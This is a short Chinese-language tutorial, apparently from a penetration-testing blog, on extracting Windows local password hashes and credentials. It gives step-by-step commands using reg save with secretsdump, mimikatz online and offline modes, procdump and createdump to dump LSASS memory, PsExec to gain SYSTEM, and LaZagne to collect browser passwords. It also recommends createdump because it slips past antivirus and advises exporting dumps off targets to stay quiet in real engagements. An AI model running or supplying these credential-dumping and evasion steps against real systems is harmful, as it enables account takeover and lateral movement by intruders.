內網技巧-通過SAM數據庫獲得本地用戶hash的方法
在windows上的C:\Windows\System32\config目錄保存着當前用戶的密碼hash。我們可以使用相關手段獲取該hash。
提取的時候需要管理員權限，普通權限沒辦法提取出來

步驟

reg save hklm\system system.hive
reg save hklm\security security.hive
python3 secretsdump.py -sam sam.hive -security security.hive -system system.hive LOCAL
方案二 mimikatz在線讀取
利用工具
mimikatz
步驟
mimikatz
privilege::debug
token::elevate
lsadump::sam
方案三 mimikatz離線讀取
步驟
lsadump::sam /sam:sam.hive /system:system.hive
方案四 procdump+mimikatz
利用工具
procdump+mimikatz
步驟
procdump.exe -accepteula -ma lsass.exe lsass.dmp #32位系統
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp #64位系統
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
方案五 lazagne一把梭
利用工具
lazagne這個工具不僅只讀hash還能讀取瀏覽器密碼
步驟
lazagne all
方案六createdump+mimikatz
利用工具
C:\Program Files\dotnet\shared\Microsoft.NETCore.App\5.0.1\createdump.exe
PsExec.exe
步驟
1、需要system權限，所以我們需要進行提權
#管理員權限下運行cmd,運行完會彈出一個system權限的cmd
PsExec.exe -s -d -i cmd
2、使用createdump獲取lsass的dump文件，因為createdump是系統自帶文件，所以可以繞過殺軟。
#全程在360安全衛士下進行測試，無感，推薦該方法
結語
還有一些工具諸如
pwdump7、pwdump5
要么腳本已被標記，要么就是工具存在一些問題，本人的測試環境是win7、win10。如果在實戰環境下盡量不要在目標機器在線讀取密碼，動靜太大，可以選擇導出dmp文件或者hive文件到本地進行破解。
方法其實還有很多，關鍵是能得到自己想要的即可。
